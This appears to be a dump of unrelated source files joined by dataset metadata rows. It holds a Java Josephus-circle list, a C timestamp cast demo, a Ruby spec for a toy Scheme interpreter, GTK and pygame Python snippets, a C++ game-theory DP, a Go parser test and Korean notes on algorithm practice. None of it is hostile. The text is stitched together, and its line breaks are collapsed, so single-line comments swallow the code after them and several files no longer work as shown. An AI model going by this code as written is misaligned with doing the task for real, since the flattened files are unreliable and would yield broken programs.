package atguigu.structure; public class JosepFu { public static void main(String[] args) { CircleSingleLinkedList circleSingleLinkedList=new CircleSingleLinkedList(); circleSingleLinkedList.addNode(5); circleSingleLinkedList.showList(); circleSingleLinkedList.countBoy(1,2,5); } } /** * 构建环形链表 */ class CircleSingleLinkedList{ // 声明第一个节点 Boy first=null; /** * 添加节点 * @param num */ public void addNode(int num){ // 先对节点进行判断 if(num<1){ System.out.println("节点个数太少,无法创建"); return; } Boy boyCur=null;// 声明一个辅助节点 用于指向尾部节点 for(int i=1;i<=num;i++){ Boy boy=new Boy(i); // 构建第一个节点 if(i==1){ first=boy; first.setNext(boy); boyCur=first; }else{ boyCur.setNext(boy); boy.setNext(first); boyCur=boy; } } } /** * 遍历链表 */ public void showList(){ if(first==null){ System.out.println("该链表没有数据"); return; } Boy boyCur= first; while(true){ System.out.println("小孩的编号"+boyCur.getNo()); if(boyCur.getNext()==first){ break; } boyCur=boyCur.getNext(); } } /** * 小孩子出圈 * @param start 从第几个开始数起 * @param countNum 数多少个 * @param nums 一共有多少个 */ public void countBoy(int start,int countNum,int nums){ if(first==null || start<0 || nums<start){ System.out.println("无法操作"); return; } // 声明一个中间变量 用于找出最后一个小孩 Boy helper=first; while(true){ if(helper.getNext()==first){ break; } helper=helper.getNext(); } // 因为不确定从第几个小孩开始数起 所以先把helper 和 first 先移到相应的位置 for(int i=0;i<start-1;i++){ helper= helper.getNext(); first=first.getNext(); } // 开始数小孩 while(true){ if(helper==first){// 圈中只剩下一个小孩了 break; } for(int i=0;i<countNum-1;i++){ helper=helper.getNext(); first=first.getNext(); } System.out.println("小孩:"+first.getNo()); // 小孩出圈后 要把圈重新连起来 first=first.getNext(); helper.setNext(first); } System.out.println("最后一个小孩是"+first.getNo()); } } /** * 构建节点 */ class Boy{ private int no; private Boy next; public Boy(int no){ this.no=no; } public int getNo() { return no; } public Boy getNext() { return next; } public void setNo(int no) { this.no = no; } public void setNext(Boy next) { this.next = next; } }
C
UTF-8
330
2.890625
3
[]
no_license
#include <stdio.h> #include <stdint.h> #include <sys/time.h> int main() { struct timeval tv; gettimeofday(&tv, NULL); uint64_t num = tv.tv_sec * 1000000 + tv.tv_usec; fprintf(stderr, "%llu\n", num); int64_t inum = num; fprintf(stderr, "%lld\n", inum); uint64_t res = inum; fprintf(stderr, "%llu\n", res); return 0; }
Ruby
UTF-8
16,337
2.828125
3
[ "BSD-2-Clause" ]
permissive
require_relative "scheme" $orig_env = $global_environment.dup describe "scheme" do before(:each) do $global_environment = $orig_env.dup end before(:all) do @orig_stdout = $stdout #$stdout = File.open("/dev/null", "r+") end after(:all) do $stdout = @orig_stdout end subject { scheme_eval(parse(program)) } context "arithmetic" do context "addition" do context "integers" do let(:program) { "(+ 1 2)" } it { is_expected.to eq(3) } end context "mixed numbers" do let(:program) { "(+ 1.5 2 -8)" } it { is_expected.to eq(-4.5) } end context "four numbers" do let(:program) { "(+ 1 2 3 4)" } it { is_expected.to eq(10) } end context "no args" do let(:program) { "(+)" } it { is_expected.to eq(0) } end end context "subtraction" do end context "multiplication" do context "floats and ints" do let(:program) { "(* 2.5 2)" } it { is_expected.to eq(5.0) } end context "four numbers" do let(:program) { "(* 1 2 3 4)" } it { is_expected.to eq(24) } end context "one arg" do let(:program) { "(* 1)" } it { is_expected.to eq(1) } end context "no args" do let(:program) { "(*)" } it { is_expected.to eq(1) } end end context "expt" do let(:program) { "(expt 2 8)" } it { is_expected.to eq(256) } end context "division" do context "/" do let(:program) { "(/ 5 2)" } it { is_expected.to eq(2.5) } end context "1 arg" do let(:program) { "(/ 3)" } it { is_expected.to eq(1.0/3) } end context "quotient" do let(:program) { "(quotient 5 2)" } it { is_expected.to eq(2) } end context "remainders" do context "modulo" do context "positive numbers" do let(:program) { "(modulo 7 3)" } it { is_expected.to eq(1) } end context "negative numbers" do let(:program) { "(modulo -7 3)" } it { is_expected.to eq(2) } end end context "remainder" do context "positive numbers" do let(:program) { "(remainder 7 3)" } it { is_expected.to eq(1) } end context "negative numbers" do let(:program) { "(remainder -7 3)" } it { is_expected.to eq(-1) } end end end end end context "basic operators" do context "negation" do let(:program) { "(not #{value_to_negate})" } context "true" do let(:value_to_negate) { "#t" } it { is_expected.to eq(false) } end context "true" do let(:value_to_negate) { "#f" } it { is_expected.to eq(true) } end context "integer" do let(:value_to_negate) { "3" } it { is_expected.to eq(false) } end context "list" do let(:value_to_negate) { "(list 3)" } it { is_expected.to eq(false) } end context "empty list" do let(:value_to_negate) { "'()" } it { is_expected.to eq(false) } end context "symbol" do let(:value_to_negate) { "'nil" } it { is_expected.to eq(false) } end end context "boolean?" do let(:program) { "(boolean? #{value_to_test})" } context "boolean" do let(:value_to_test) { "#f" } it { is_expected.to eq(true) } end context "0" do let(:value_to_test) { "0" } it { is_expected.to eq(false) } end context "empty list" do let(:value_to_test) { "'()" } it { is_expected.to eq(false) } end end context "eqv?" do context "same symbols" do let(:program) { "(eqv? 'a 'a)" } it { is_expected.to eq(true) } end context "same type, different values" do let(:program) { "(eqv? 'a 'b)" } it { is_expected.to eq(false) } end context "same integers" do let(:program) { "(eqv? 2 2)" } it { is_expected.to eq(true) } end context "same long integers" do let(:program) { "(eqv? 100000000 100000000)" } it { is_expected.to eq(true) } end context "pairs" do # not really implmeented... let(:program) { "(eqv? (cons 1 2) (cons 1 2))" } it { is_expected.to eq(true) } end context "lambdas" do let(:program) { "(eqv? (lambda () 1) (lambda () 2))" } it { is_expected.to eq(false) } end context "falls and symbol" do let(:program) { "(eqv? #f 'nil)" } it { is_expected.to eq(false) } end context "same variable" do let(:program) do """(begin (define p (lambda () 1)) (eqv? p p))""" end it { is_expected.to eq(true) } end context "two lists, same values" do let(:program) { "(eqv? '(a) '(a))" } it { is_expected.to eq(true) } end context "two different strings, same chars" do let(:program) { "(eqv? \"a\" \"a\")" } it { is_expected.to eq(true) } end context "two lists, one returned by cdr" do let(:program) { "(eqv? '(b) (cdr '(a b)))" } it { is_expected.to eq(true) } end end context "equality" do context ".eq?" do context "different types" do let(:program) { "(eq? 5 5.0)" } it { is_expected.to eq(false) } end context "same types" do let(:program) { "(eq? 5.0 5.0)" } it { is_expected.to eq(true) } end context "different lists, same values" do let(:program) { "(eq? (quote (1 2 3)) (quote (1 2 3)))" } it { is_expected.to eq(false) } end context "same list" do let(:program) do """(begin (define x (quote (1 2 3))) (eq? x x))""" end it { is_expected.to eq(true) } end context "same symbols" do let(:program) { "(eq? 'a 'a)" } it { is_expected.to eq(true) } end context "two strings with same chars" do let(:program) { "(eq? \"a\" \"a\")" } it { is_expected.to eq(false) } end context "two empty strings" do let(:program) { "(eq? \"\" \"\")" } it { is_expected.to eq(false) } end context "two same built-ins" do let(:program) { "(eq? car car)" } it { is_expected.to eq(true) } end end context "=" do context "different types" do let(:program) { "(= 5 5.0)" } it { is_expected.to eq(true) } end context "same types" do let(:program) { "(= 5 5)" } it { is_expected.to eq(true) } end context "different values" do let(:program) { "(= 5 6)" } it { is_expected.to eq(false) } end end context "equal?" do let(:program) { '(equal? "test string" "test string")' } it { is_expected.to eq(true) } end context "matching variable" do let(:program) { '(begin (define str "my secret string") (equal? str "my secret string"))' } it { is_expected.to eq(true) } end context "mis-matching variable" do let(:program) { '(begin (define str "my secret string") (equal? str "public string"))' } it { is_expected.to eq(false) } end context "same symbols" do let(:program) { "(equal? 'a 'a)" } it { is_expected.to eq(true) } end context "two lists, same values" do let(:program) { "(equal? '(a) '(a))" } it { is_expected.to eq(true) } end context "two lists, same values" do let(:program) { "(equal? '(a (b) c) '(a (b) c))" } it { is_expected.to eq(true) } end context "same integers" do let(:program) { "(equal? 2 2)" } it { is_expected.to eq(true) } end context "same number, different types" do let(:program) { "(equal? 2 2.0)" } it { is_expected.to eq(true) } end end context "positive?" do context "0" do let(:program) { "(positive? 0)" } it { is_expected.to eq(false) } end context "0.1" do let(:program) { "(positive? 0.1)" } it { is_expected.to eq(true) } end context "-10" do let(:program) { "(positive? -10)" } it { is_expected.to eq(false) } end context "given a list" do let(:program) { "(positive? '(1))" } it { expect { subject }.to raise_error } end end context "negative?" do context "0" do let(:program) { "(negative? 0)" } it { is_expected.to eq(false) } end context "10" do let(:program) { "(negative? 10)" } it { is_expected.to eq(false) } end context "-0.1" do let(:program) { "(negative? -0.1)" } it { is_expected.to eq(true) } end end end context "define" do context "define from env" do context "returns val from env" do let(:program) do """(begin (define x (list 'a 'b 'c)) (define y x) (display y))""" end it { is_expected.to eq([:a, :b, :c]) } end context "return val is first class" do let(:program) do """(begin (define x (list 'a 'b 'c)) (define y x) (list? y))""" end it { is_expected.to eq(true) } end end end context "pair?" do context "list" do let(:program) { "(pair? '(a b c))" } it { is_expected.to eq(true) } end context "empty list" do let(:program) { "(pair? '())" } it { is_expected.to eq(false) } end context "string" do let(:program) { "(pair? \"ab\")" } it { is_expected.to eq(false) } end context "string" do let(:program) { "(pair? '#(a b))" } #it { is_expected.to eq(false) } it "fails" do expect { subject }.to raise_error end end end context "operators without arguments" do end context "nested functions" do let(:program) { "(/ (+ 10 10) 5)" } it "handles nested functions" do expect(subject).to eq(4) end end context "built-ins" do context "min" do let(:program) { "(min 5 4 2)" } it "computes min" do expect(subject).to eq(2) end end context "max" do let(:program) { "(max 5 4 2)" } it "computes max" do expect(subject).to eq(5) end end context "apply" do let(:program) { "(apply + (quote (1 2 3)))" } it "apply addition" do expect(subject).to eq(6) end end context "begin" do let(:program) do """(begin (define square (lambda (x) (* x x))) (square 5))""" end it "begins blocks" do expect(subject).to eq(25) end end context "cons" do let(:program) do """(begin (define range (lambda (a b) (if (= a b) (quote ()) (cons a (range (+ a 1) b))))) (range 0 5))""" end it "generates range" do expect(subject).to eq([0, 1, 2, 3, 4]) end end context "list" do let(:program) do """(begin (define count (lambda (item L) (if (pair? L) (length (filter (lambda (x) (eq? item x)) L)) 0))) (count 0 (list 0 1 2 3 0 0)))""" end it "counts items in lists" do expect(subject).to eq(3) end end context "append" do let(:program) { "(append (quote (1 2 3)) (quote (4 5 6)) (quote (7 8 9)))" } it "appends" do expect(subject).to eq([1, 2, 3, 4, 5, 6, 7, 8, 9]) end end context "single quote" do context "append" do let(:program) { "(append '(1 2 3) '(4 5 6) '(7 8 9))" } it "appends" do expect(subject).to eq([1, 2, 3, 4, 5, 6, 7, 8, 9]) end end context "nested quote" do context "nested symbol" do let(:program) { "(display '(you can 'me))" } it "quotes" do expect(subject).to eq([:you, :can, [:quote, :me]]) end end context "nested string" do let(:program) { "(display '(you can '\"Guy Steele\"))" } it "quotes" do expect(subject).to eq([:you, :can, [:quote, "Guy Steele"]]) end end context "nested number" do let(:program) { "(display '(you can '44))" } it "quotes" do expect(subject).to eq([:you, :can, [:quote, 44]]) end end end context "inside double quotes" do let(:str) { "I'm feeling lucky." } let(:program) { "(display \"#{str}\")" } it "does nothing" do expect(subject).to eq(str) end end end context "sqrt" do let(:program) { "(sqrt 16)" } it "calculates square root" do expect(subject).to eq(4) end end context "cos" do let(:program) { "(cos 0)" } it "calculates cos(0)" do expect(subject).to eq(1.0) end end context "sin" do let(:program) { "(sin 0)" } it "calculates sin(0)" do expect(subject).to eq(0.0) end end end context "booleans" do context "true" do let(:program) { "(eq? #t (> 1 0))" } it "casts #t to T" do expect(subject).to eq(true) end end context "false" do let(:program) { "(eq? #f (> 0 0))" } it "casts #f to F" do expect(subject).to eq(true) end end context "compare" do context "mismatch" do let(:program) { "(eq? #t (eq? #t #f))" } it "evaluates correct truth table" do expect(subject).to eq(false) end end context "match" do let(:program) { "(eq? #f (eq? #t #f))" } it "evaluates correct truth table" do expect(subject).to eq(true) end end end end context "strings" do context "extra whitespace" do let(:str) { "Check this space." } let(:program) { "(display \"#{str}\")" } it "does not strip whitespace within strings" do expect(subject).to eq(str) end end context "nested parens" do let(:program) { "(display \"(+ 1 (2))\")" } it "does not add space" do expect(subject).to eq("(+ 1 (2))") end end context "nested semi-colon" do let(:program) { "(display \"; break\")" } it "does not drop" do expect(subject).to eq("; break") end end end context "comments" do let(:program) do """(begin ; begins a progragm (+ 1 2))""" end it "executes without problem" do expect(subject).to eq(3) end end context "control flow" do let(:program) { "((if #f + *) 3 4)" } it "flows correctly" do expect(subject).to eq(12) end end context "type system" do context "list?" do context "given list" do let(:program) { "(list? (quote (1 2 3)))" } it "returns true" do expect(subject).to eq(true) end end context "given non-list" do let(:program) { '(list? "TEST")' } it "returns false" do expect(subject).to eq(false) end end end end context "higher-order functions" do context "map" do let(:program) do """(begin (define map-fun (lambda (x) (+ x 1))) (map map-fun (quote (1 2 3))))""" end it "maps" do expect(subject).to eq([2, 3, 4]) end end end context "persists state" do let(:program) { "(define square (lambda (x) (* x x)))" } it "persists lambdas" do scheme_eval(parse(program)) resp2 = scheme_eval(parse("(square 5)")) expect(resp2).to eq(25) end end end
Python
UTF-8
1,104
2.703125
3
[]
no_license
from gi.repository import Gtk class HarchTreeStore(Gtk.TreeStore): def __init__(self, *arg, **kwarg): super(HarchTreeStore, self).__init__(*arg, **kwarg) self.branches = dict() self.added_items = dict() def add(self, name, item): levels = name.split("/") name = levels[-1] levels = levels[:-1] parent = None for i in xrange(len(levels)): level_name = "/".join(levels[:i+1]) if level_name not in self.branches: parent = self.append(parent, [levels[i] , None]) self.branches[level_name] = parent else: parent = self.branches[level_name] new_iter = super(HarchTreeStore, self).append(parent, [name, item]) self.added_items[item] = new_iter return new_iter def rename_item(self, new_name, item): self.remove(self.added_items[item]) del self.added_items[item] self.add(new_name, item) def remove_item(self, item): self.remove(self.added_items[item]) del self.added_items[item]
C++
UTF-8
435
2.609375
3
[]
no_license
#ifndef USER_HH #define USER_HH #include "string" #include "vector" #include "payment.hh" using std::string; using std::vector; class Payment; class User{ protected: string user_name; string user_email; vector<Payment> payments; public: User(); User(string, string, vector<Payment>); string getUserName(); string getUserEmail(); vector<Payment> getPayments(); }; #endif
C++
UTF-8
2,587
3.453125
3
[]
no_license
/* 差值博弈 极大极小 博弈DP 题意:一堆数,两个小朋友,轮流从堆里面取数,要求第一个人取的数在[a,b], 0 <= a <= b区间内,每次取的数x和前一次(也就是对方)取的数y满足a <= x-y <= b。两人都想使得自己取得的数总和减去对方的总和的差值尽量大,问最后第一个小朋友减去第二个小朋友的差值最大为多少? 思路:差值博弈 易推出后面取的数总是比前面取的数大,所以先排序 dp[i]表当前选手确定选了i之后,可以达到的最大分差 两人都想让自己的与对方的分差尽量大,而当前选手选了i之后,是轮到对方选。假设当前选手A选了i之后,先手变成了对方B,那B当然在后面的状态种也是要使得自己与A的分差尽量大,所以A选了i的最优分差A-B = num[i] - max{DP(j)} 即dp[i] = num[i] - max{ dp[j] } , a <= num[j] - num[i] <= b 算法是,枚举先手取的第一个数,然后记忆化dp。 感觉这种差值博弈就是,假设先手A取了i,接着后面B对方因为要使得A-B最小,所以B就会选一个最大的dp[j],使得A-B = min{ num[i] - dp[j] } = num[i] - max{dp[j]} * ****************************************************** * * 题目要求先手的最大值,可以转化为求先手-后手的最大值 * * * * dp[i]表示先手面临状态i时,先手进行决策后,先手-后手的最* * 大值 * * 程序在进行递推时,状态要从后往前进行枚举。也可以采用记 * * 忆化搜索的方式,正向思考比较方便 * * * * ****************************************************** * */ #include <stdio.h> #include <algorithm> using namespace std; #define MAXN 10005 const int inf = (1 << 28); int dp[MAXN], num[MAXN], a, b, n; int DP(int now) { if(dp[now] != -inf) return dp[now]; int ans = -inf; for(int i = now+1; i < n; i++) if(num[i] - num[now] >= a) { if(num[i] - num[now] > b) break; ans = max(ans, DP(i)); } if(ans == -inf) ans = 0; //说明后面没有数可以选了 return dp[now] = num[now] - ans; } int main() { int cases; scanf("%d", &cases); while(cases--) { scanf("%d %d %d", &n, &a, &b); for(int i = 0; i < n; i++) dp[i] = -inf; for(int i = 0; i < n; i++) scanf("%d", &num[i]); sort(num, num+n); int ans = -inf; for(int i = 0; i < n; i++) if(a <= num[i] && num[i] <= b) ans = max(ans, DP(i)); if(ans == -inf) ans = 0; printf("%d\n", ans); } return 0; }
Python
UTF-8
1,183
3.28125
3
[]
no_license
#!/usr/bin/env python # coding=utf-8 import pygame def main(): #创建游戏窗口 screen = pygame.display.set_mode((480,852),0,32) #把本地文件夹的图片,获取到代码中 background = pygame.image.load('./images/background.png') player = pygame.image.load('./images/hero1.png') # 定义好的位置和尺寸 rect = pygame.Rect(190,728,100,124) clock = pygame.time.Clock() #获得游戏时钟 控制器 print('left = ',rect.left) print('right = ',rect.right) print('top = ',rect.top) print('center = ',rect.center) print('centerx = ',rect.centerx) print('centery = ',rect.centery) print('bottom = ',rect.bottom) print('size = ',rect.size) print('x = ',rect.x) print('y = ',rect.y) print(rect.get_ip()) ''' #把图片加载 到游戏 窗口 上 screen.blit(background,(0,0)) screen.blit(player,rect) rect.x += 1 if rect.x > 380 : rect.x = 0 rect.y -=1 if rect.y == 0: rect.y = 728 #刷新显示 pygame.display.update() clock.tick(60) # 让游戏时钟,1/60秒运行一次 ''' if __name__ == "__main__": main()
Go
UTF-8
14,042
2.8125
3
[ "Apache-2.0", "LGPL-2.0-or-later", "MIT", "GPL-1.0-or-later", "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
// Copyright 2022 The Dawn Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package expectations_test import ( "testing" "dawn.googlesource.com/dawn/tools/src/cts/expectations" "dawn.googlesource.com/dawn/tools/src/cts/result" "github.com/google/go-cmp/cmp" ) func TestParse(t *testing.T) { type Test struct { name string in string expect expectations.Content expectErr string } for _, test := range []Test{ { name: "empty", in: ``, expect: expectations.Content{}, }, ///////////////////////////////////////////////////////////////////// { name: "single line comment", in: `# a comment`, expect: expectations.Content{ Chunks: []expectations.Chunk{ {Comments: []string{`# a comment`}}, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "single line comment, followed by newline", in: `# a comment `, expect: expectations.Content{ Chunks: []expectations.Chunk{ {Comments: []string{`# a comment`}}, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "newline, followed by single line comment", in: ` # a comment`, expect: expectations.Content{ Chunks: []expectations.Chunk{ {}, {Comments: []string{`# a comment`}}, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "carriage-return line-feed, followed by single line comment", in: "\r\n# a comment", expect: expectations.Content{ Chunks: []expectations.Chunk{ {}, {Comments: []string{`# a comment`}}, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "comments separated by single newline", in: `# comment 1 # comment 2`, expect: expectations.Content{ Chunks: []expectations.Chunk{ { Comments: []string{ `# comment 1`, `# comment 2`, }, }, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "comments separated by two newlines", in: `# comment 1 # comment 2`, expect: expectations.Content{ Chunks: []expectations.Chunk{ {Comments: []string{`# comment 1`}}, {}, {Comments: []string{`# comment 2`}}, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "comments separated by multiple newlines", in: `# comment 1 # comment 2`, expect: expectations.Content{ Chunks: []expectations.Chunk{ {Comments: []string{`# comment 1`}}, {}, {Comments: []string{`# comment 2`}}, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "expectation, single result", in: `abc,def [ FAIL ]`, expect: expectations.Content{ Chunks: []expectations.Chunk{ { Expectations: []expectations.Expectation{ { Line: 1, Tags: result.NewTags(), Query: "abc,def", Status: []string{"FAIL"}, }, }, }, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "two expectations, separated with carriage-return line-feed", in: "abc,def [ FAIL ]\r\nghi,jkl [ PASS ]", expect: expectations.Content{ Chunks: []expectations.Chunk{ { Expectations: []expectations.Expectation{ { Line: 1, Tags: result.NewTags(), Query: "abc,def", Status: []string{"FAIL"}, }, { Line: 2, Tags: result.NewTags(), Query: "ghi,jkl", Status: []string{"PASS"}, }, }, }, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "expectation, with comment", in: `abc,def [ FAIL ] # this is a comment`, expect: expectations.Content{ Chunks: []expectations.Chunk{ { Expectations: []expectations.Expectation{ { Line: 1, Tags: result.NewTags(), Query: "abc,def", Status: []string{"FAIL"}, Comment: "# this is a comment", }, }, }, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "expectation, multiple results", in: `abc,def [ FAIL SLOW ]`, expect: expectations.Content{ Chunks: []expectations.Chunk{ { Expectations: []expectations.Expectation{ { Line: 1, Tags: result.NewTags(), Query: "abc,def", Status: []string{"FAIL", "SLOW"}, }, }, }, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "expectation, with single tag", in: `[ Win ] abc,def [ FAIL ]`, expect: expectations.Content{ Chunks: []expectations.Chunk{ { Expectations: []expectations.Expectation{ { Line: 1, Tags: result.NewTags("Win"), Query: "abc,def", Status: []string{"FAIL"}, }, }, }, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "expectation, with multiple tags", in: `[ Win Mac ] abc,def [ FAIL ]`, expect: expectations.Content{ Chunks: []expectations.Chunk{ { Expectations: []expectations.Expectation{ { Line: 1, Tags: result.NewTags("Win", "Mac"), Query: "abc,def", Status: []string{"FAIL"}, }, }, }, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "expectation, with bug", in: `crbug.com/123 abc,def [ FAIL ]`, expect: expectations.Content{ Chunks: []expectations.Chunk{ { Expectations: []expectations.Expectation{ { Line: 1, Bug: "crbug.com/123", Tags: result.NewTags(), Query: "abc,def", Status: []string{"FAIL"}, }, }, }, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "expectation, with bug and tag", in: `crbug.com/123 [ Win ] abc,def [ FAIL ]`, expect: expectations.Content{ Chunks: []expectations.Chunk{ { Expectations: []expectations.Expectation{ { Line: 1, Bug: "crbug.com/123", Tags: result.NewTags("Win"), Query: "abc,def", Status: []string{"FAIL"}, }, }, }, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "expectation, with comment", in: `# a comment crbug.com/123 [ Win ] abc,def [ FAIL ]`, expect: expectations.Content{ Chunks: []expectations.Chunk{ { Comments: []string{`# a comment`}, Expectations: []expectations.Expectation{ { Line: 2, Bug: "crbug.com/123", Tags: result.NewTags("Win"), Query: "abc,def", Status: []string{"FAIL"}, }, }, }, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "expectation, with multiple comments", in: `# comment 1 # comment 2 crbug.com/123 [ Win ] abc,def [ FAIL ]`, expect: expectations.Content{ Chunks: []expectations.Chunk{ { Comments: []string{`# comment 1`, `# comment 2`}, Expectations: []expectations.Expectation{ { Line: 3, Bug: "crbug.com/123", Tags: result.NewTags("Win"), Query: "abc,def", Status: []string{"FAIL"}, }, }, }, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "comment, test, newline, comment", in: `# comment 1 crbug.com/123 abc_def [ Skip ] ### comment 2`, expect: expectations.Content{ Chunks: []expectations.Chunk{ { Comments: []string{`# comment 1`}, Expectations: []expectations.Expectation{ { Line: 2, Bug: "crbug.com/123", Tags: result.NewTags(), Query: "abc_def", Status: []string{"Skip"}, }, }, }, {}, {Comments: []string{`### comment 2`}}, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "complex", in: `# comment 1 # comment 2 # comment 3 crbug.com/123 [ Win ] abc,def [ FAIL ] # comment 4 # comment 5 crbug.com/456 [ Mac ] ghi_jkl [ PASS ] # comment 6 # comment 7 `, expect: expectations.Content{ Chunks: []expectations.Chunk{ {Comments: []string{`# comment 1`}}, {}, {Comments: []string{`# comment 2`, `# comment 3`}}, {}, { Expectations: []expectations.Expectation{ { Line: 6, Bug: "crbug.com/123", Tags: result.NewTags("Win"), Query: "abc,def", Status: []string{"FAIL"}, }, }, }, {}, { Comments: []string{`# comment 4`, `# comment 5`}, Expectations: []expectations.Expectation{ { Line: 10, Bug: "crbug.com/456", Tags: result.NewTags("Mac"), Query: "ghi_jkl", Status: []string{"PASS"}, }, }, }, {Comments: []string{`# comment 6`}}, {}, {Comments: []string{`# comment 7`}}, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "tag header", in: ` # BEGIN TAG HEADER (autogenerated, see validate_tag_consistency.py) # Devices # tags: [ duck-fish-5 duck-fish-5x duck-horse-2 duck-horse-4 # duck-horse-6 duck-shield-duck-tv # mouse-snake-frog mouse-snake-ant mouse-snake # fly-snake-bat fly-snake-worm fly-snake-snail-rabbit ] # Platform # tags: [ hamster # lion ] # Driver # tags: [ goat.1 ] # END TAG HEADER `, expect: expectations.Content{ Chunks: []expectations.Chunk{ {}, {Comments: []string{ `# BEGIN TAG HEADER (autogenerated, see validate_tag_consistency.py)`, `# Devices`, `# tags: [ duck-fish-5 duck-fish-5x duck-horse-2 duck-horse-4`, `# duck-horse-6 duck-shield-duck-tv`, `# mouse-snake-frog mouse-snake-ant mouse-snake`, `# fly-snake-bat fly-snake-worm fly-snake-snail-rabbit ]`, `# Platform`, `# tags: [ hamster`, `# lion ]`, `# Driver`, `# tags: [ goat.1 ]`, `# END TAG HEADER`, }}, }, Tags: expectations.Tags{ ByName: map[string]expectations.TagSetAndPriority{ "duck-fish-5": {Set: "Devices", Priority: 0}, "duck-fish-5x": {Set: "Devices", Priority: 1}, "duck-horse-2": {Set: "Devices", Priority: 2}, "duck-horse-4": {Set: "Devices", Priority: 3}, "duck-horse-6": {Set: "Devices", Priority: 4}, "duck-shield-duck-tv": {Set: "Devices", Priority: 5}, "mouse-snake-frog": {Set: "Devices", Priority: 6}, "mouse-snake-ant": {Set: "Devices", Priority: 7}, "mouse-snake": {Set: "Devices", Priority: 8}, "fly-snake-bat": {Set: "Devices", Priority: 9}, "fly-snake-worm": {Set: "Devices", Priority: 10}, "fly-snake-snail-rabbit": {Set: "Devices", Priority: 11}, "hamster": {Set: "Platform", Priority: 0}, "lion": {Set: "Platform", Priority: 1}, "goat.1": {Set: "Driver", Priority: 0}, }, Sets: []expectations.TagSet{ { Name: "Devices", Tags: result.NewTags( "duck-fish-5", "duck-fish-5x", "duck-horse-2", "duck-horse-4", "duck-horse-6", "duck-shield-duck-tv", "mouse-snake-frog", "mouse-snake-ant", "mouse-snake", "fly-snake-bat", "fly-snake-worm", "fly-snake-snail-rabbit", ), }, { Name: "Platform", Tags: result.NewTags("hamster", "lion"), }, { Name: "Driver", Tags: result.NewTags("goat.1"), }, }, }, }, }, ///////////////////////////////////////////////////////////////////// { name: "err missing tag ']'", in: `[`, expectErr: "expectations.txt:1:2 error: expected ']' for tags", }, ///////////////////////////////////////////////////////////////////// { name: "err missing test query", in: `[ a ]`, expectErr: "expectations.txt:1:6 error: expected test query", }, ///////////////////////////////////////////////////////////////////// { name: "err missing status EOL", in: `[ a ] b`, expectErr: "expectations.txt:1:8 error: expected status", }, ///////////////////////////////////////////////////////////////////// { name: "err missing status comment", in: `[ a ] b # c`, expectErr: "expectations.txt:1:9 error: expected status", }, ///////////////////////////////////////////////////////////////////// { name: "err missing status ']'", in: `[ a ] b [ c`, expectErr: "expectations.txt:1:12 error: expected ']' for status", }, } { got, err := expectations.Parse("expectations.txt", test.in) errMsg := "" if err != nil { errMsg = err.Error() } if diff := cmp.Diff(errMsg, test.expectErr); diff != "" { t.Errorf("'%v': Parse() error %v", test.name, diff) continue } if diff := cmp.Diff(got, test.expect); diff != "" { t.Errorf("'%v': Parse() was not as expected:\n%v", test.name, diff) } } }
Markdown
UTF-8
2,090
2.90625
3
[ "MIT" ]
permissive
--- layout: post title: "알고리즘 연습방법" tags: [Python, 자료구조 알고리즘] comments: true --- . [학습시 참고자료] 패스트캠퍼스 ‘알고리즘 / 기술면접 완전 정복 올인원 패키지 Online’ 를 공부하고 정리한 학습노트입니다. URL : https://www.fastcampus.co.kr/dev_online_algo [학습내용] ### 알고리즘 연습 방법 * 알고리즘을 잘 작성하기 위해서는 잘 작성된 알고리즘을 이해하고, 스스로 만들어봐야 함 - 모사! 그림을 잘 그리기 위해서는 잘 그린 그림을 모방하는 것부터 시작 알고리즘을 어떻게 구현할지 노트에 작성해보고, 코드를 구현하는 것이 일반적이다. 코드를 다 연습장에서 짜고, 컴퓨터에서는 타이핑으로 옮겨서 테스트한다는 것으로 생각하면 된다. <div class="alert alert-block alert-info"> <center><strong><font size=4em>노트필기를 활용한 연습방법</font></strong></center> <font size=3em>STEP 1) 알고리즘 문제를 읽고 분석해서 연습장에 작성한다</font><br><br> <font size=3em>STEP 2) 간단하게 테스트용으로 매우 간단한 경우부터 알고리즘을 짜보고, 복잡한 경우의 순으로 생각해보면서, 연습장과 펜을 이용하여 알고리즘을 구상한다.</font><br><br> <font size=3em>STEP 3) 가능한 알고리즘이 보인다면, 구현할 알고리즘을 세부 항목으로 나누고, 문장으로 세부 항목을 나누어서 적어본다. 생각한 코드를 굳이 실제 코드로 연습장에 표현하기 보다는 문장으로 연습장에 작성하면서 구체화를 해본다.</font><br><br> <font size=3em>STEP 4) 코드화하기 위해, 데이터 구조 또는 사용할 변수를 정리하고,각 문장을 코드 레벨로 적는다.</font><br><br> <font size=3em>STEP 5) 데이터 구조 또는 사용할 변수가 코드에 따라 어떻게 변하는지를 손으로 적으면서, 임의 데이터로 코드가 정상 동작하는지를 연습장과 펜으로 검증한다.</font><br> </div>
C++
WINDOWS-1251
712
3.046875
3
[]
no_license
